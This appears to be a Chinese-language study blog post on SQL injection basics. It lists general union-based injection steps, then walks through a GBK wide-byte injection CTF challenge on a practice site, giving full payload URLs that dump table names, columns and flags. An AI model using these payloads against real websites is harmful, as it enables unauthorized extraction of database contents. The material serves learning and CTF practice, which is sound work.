1. 程式人生 > 其它 >SQL注入基礎學習筆記

SQL注入基礎學習筆記

技術標籤:sql

SQL注入基礎

文章目錄

一、sql注入一般步驟

1.測試注入點是否存在,判斷為字元型還是數字型,如何閉合
輸入‘頁面報錯
or 1=1%23
and 1=1%23為真,and 1=2%23為假;
2.獲取查詢欄位數
用order by 語句進行排除
3.判斷可回顯得欄位位置
union select聯合查詢
4.獲取資料庫名等資訊
database(),version()等
5.獲取表名
information_schema.tables

?id=0 union select group_concat(table_name),2,…,n from information_schema.tables where table_schema=database()%23

通過information_schema庫中的tables表查詢當前資料庫的所有表資訊,group_concat()函式能夠將欄位值打印出來,以逗號分隔。

6.獲取表中欄位名
information_schema.columns

?id=0 union select group_concat(column_name),2,…,n from information_schema.columns where table_schema=database() and table_name='xxxx'%23

通過information_schema庫中的columns表查詢xxxx表的所有列資訊。

7.獲取所需資料

?id=0 union select group_concat(col1),group_concat(col2) from xxxx%23

直接聯合查詢xxxx表內col1,col2兩列所有資訊。

二、sql寬位元組注入練習

1.題目
2.解題步驟
(1)首先,這是寬位元組注入,用order by語句查詢欄位數,如圖查詢到3時顯示錯誤,所以欄位數為2;

http://chinalover.sinaapp.com/SQL-GBK/?id=1%df' order by 3%23

在這裡插入圖片描述
(2)聯合查詢判斷可回顯欄位位置

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,2%23

在這裡插入圖片描述

(3)獲取資料庫名稱為sae-chinalover

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,database()%23

在這裡插入圖片描述
(4)獲取表名

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()%23

在這裡插入圖片描述
(5)查詢gbksqli表的所有列資訊
其中表名gbksqli要用十六進位制編碼為67626b73716c69並在前面加上0x後進行查詢

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 0x67626b73716c69%23

在這裡插入圖片描述
(6)聯合查詢gbksqli表內flag列資訊,得到flag為nctf{gbk_3sqli}

http://chinalover.sinaapp.com/SQL-GBK/?id=0%df' union select 1,group_concat(flag) from gbksqli%23

在這裡插入圖片描述
注:在其他表裡還有一個flag,方法同上,另一個flag為flag{this_is_sqli_flag}